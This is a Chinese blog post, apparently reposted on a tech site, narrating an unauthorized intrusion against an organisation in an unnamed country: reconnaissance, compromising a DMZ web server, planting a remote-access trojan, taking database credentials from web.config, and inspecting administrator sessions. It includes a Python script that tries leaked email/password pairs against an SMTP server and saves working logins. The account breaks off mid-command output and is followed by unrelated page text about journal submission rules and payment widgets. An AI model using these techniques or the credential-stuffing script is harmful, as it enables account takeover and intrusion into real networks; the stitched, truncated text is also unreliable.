[投稿]对某国的一次APT攻击过程

在这里插入图片描述
写在之前的废话:小菜技术能力不行,如果你觉得此文实在看不下去,还请PASS掉。如果你对我的文章有兴趣,可以与我一起交流。文章因为敏感无图,业内人士看看自然懂。在这里感谢一下那位一直在我背后默默指导我的那位大牛,要不是你,就不会有今天我,借这这个平台向你衷声说句:谢谢你!

由于APT耗时长,需要的支持多,而且目标敏感。在这里,我们不便介绍目标背景,也不多说其他的,直接来进入主题。

某国某目标,我盯了它大概半年。嗯,终于有一天,我觉得时机成熟,下手吧。

在渗透目标的前期,我们需要了解对方公司的安全意识。以及需要搜集所有网站的IP,公司的出口,以及公司网段所存在的B-C段,公司人员邮箱,公司人员爱好,facebook等信息。

首先,我把目标公司的WEB都给搜集好了,大公司一般C段都是在一起的。而我有个习惯,在渗透目标的时候,先喜欢把OWA的段找出来扫一下。这样大概的就知道了公司的架构情况。而很多时候,大公司都是会把WEB段给区分的,哪几个外网IP段是管理WEB的,哪几个段是放数据库的。不过随着网络越趋复杂,就算拿到了WEB 也就是在DMZ徘徊。不过只要拿到了WEB就好说了。Go把。

千辛万苦拿下来了这个公司的一个WEB,WEB如何拿下来咱们不多说。不是重点。当我分析内网情况的时候,环境就是在DMZ,system权限。通过判断协议,TCP HTTP都没问题。于是,我把DMZ WEB给中了一个马,这样更容易操作,至少得到了一个交互式的shell。先把远控抛开不说,通过netstat -ano分析。WEB服务器连上了在内部的一台数据库服务器。于是我找到了WEB服务器的web.config脚本,成功得到了数据库账户密码,但是数据库账户权限非SA,而且SQL SERVER版本是2008(悲剧,MSSQL 2000的话直接就远程溢出了).没办法,就算我们导了个shell,又有何用?不着急,慢慢分析,于是我试着去ping内网数据库机器,PING不通,接着我在拿S扫描器开了很小的线程,扫了扫WEB连接的数据库那台机器。和我猜想的结果是一样,这种情况我不是第一次碰到了。就只有个1433能够过去。这时,我猜想大概的内网架构是这样的:

WEB–>防火墙–>数据库服务器–>内网(而当我搞下来,发现情况并不是这样的)

算了,没办法。先不管了,连上数据库,分析数据,看能否去撞号,登OWA或者邮箱之类的。

于是写了个PYTHON脚本,去跑他们的OWA(这个脚本是N年前写的,可能不太符合,大家去改改就好了。原理差不多):

import smtplib ,sys ,time

def main():

    server = "smtp.live.com" #gmail smtp.gmail.com, yahoo smtp.mail.yahoo.com

    fp = open("D:\python\\hotmail.txt")

    fp1 = open("d:\python\\save.txt", 'a+')

    while 1:

        line = fp.readline()

        uandp = line.split(' ')

        name = uandp[0]

        name = name.split('@')[0]

        pwd = uandp[1]

        pwd = pwd.split("\n")[0]

        try:

            smtp = smtplib.SMTP_SSL(server,465)  # gmail 465

        except:

            print "[*]Connect Error."

            sys.exit(0)

            pass

        try:

            #smtp.set_debuglevel(1)

            #smtp.ehlo()

            #smtp.starttls()

            smtp.ehlo()

            smtp.login(name,pwd)

        except:

            print "[-]:%s:%s" % (name, pwd)

            pass

            #time.sleep(1)

        else:

            out = "[+]:%s:%s\n" % (name, pwd)

            print out

            fp1.write(out)

            fp1.flush()

            smtp.quit()

        smtp.close()

    fp.close()

    fp1.close()

if __name__=="__main__":

main()

分析完数据,把数据库中的目标人物邮箱都给挑选出来。跑完。手工测试VPN,都失败了。没办法,继续另寻其他的路子。

来回到远控,通过分析,本机WEB有一个员工登录的地方,但是是.NET的。不能改代码。因为如果改写代码,需要重新编译(这里可能我说的有错。)但是有一个员工登录的地方我们就已经足够了,这里也先不管它。先分析再说。

我的远控是可以切换用户的,只要有用户在,可以切换到对方的用户下。首先分析了本地管理组的用户,抓密码。Query user 发现有几个用户在线。于是我切换到每个用户,主要就是查看IPC 。功夫不负有心人,当我切换到B的会话下的时候,NET USE看了看。大家猜我看到了啥?(可能你会想,咱们不是在DMZ吗?会话咋来的? 管理员从内网连过来。)

C:\ProgramData>net use

New connections will be remembered.

Status       Local     Remote                    Network

 

-------------------------------------------------------------------------------

                       \\TSCLIENT\C              Microsoft Terminal Services

                       \\
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
好的,针对您的问题,我可以给出一些一般性的建议和思路,帮助您分析某一期刊或期刊编辑委员对投稿的要求和规范。 首先,您可以通过以下几个途径来获取该期刊的投稿要求和规范: 1. 访问该期刊的官方网站,查看其“投稿指南”或“作者指南”等相关栏目; 2. 阅读该期刊最近几期的文章,尤其是其中的“作者简介”、“致谢”等部分,可能会包含一些有关投稿的规范和要求; 3. 直接联系该期刊的编辑部或编辑委员,向他们咨询、索取投稿要求和规范的相关信息。 其次,一般来说,期刊对投稿的要求和规范通常包括以下几个方面: 1. 主题范围:期刊通常会明确规定自己的主题范围和刊载方向,要求投稿者的文章必须符合这些范围和方向,否则可能会被拒稿; 2. 投稿方式:期刊通常会规定投稿方式和途径,比如要求投稿者通过官方网站或特定的投稿邮箱提交稿件,或者要求投稿者遵守特定的格式和排版要求; 3. 篇幅要求:期刊通常会规定文章的篇幅要求,比如字数、页数、段落数等,投稿者应该严格遵守这些要求; 4. 原创性要求:期刊通常要求投稿的文章必须是原创性的,未曾在其他刊物上发表过,或者未曾在互联网上公开发布过; 5. 学术规范:期刊通常会要求投稿者在写作过程中遵守学术规范,比如标注引用文献、注明研究方法、说明数据来源等,以及避免剽窃和抄袭等问题; 6. 语言要求:期刊通常会要求投稿者使用规范的语言、语法和拼写,以及符合学术写作的规范和风格要求。 最后,您需要根据具体的期刊和投稿要求,结合您的实际情况和写作需求,进行具体分析和解读。同时,如果您在撰写稿件过程中遇到了问题或不确定的地方,可以随时向该期刊的编辑部或同行专家咨询,以确保您的投稿符合该期刊的要求和规范,从而提高稿件的录用率。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值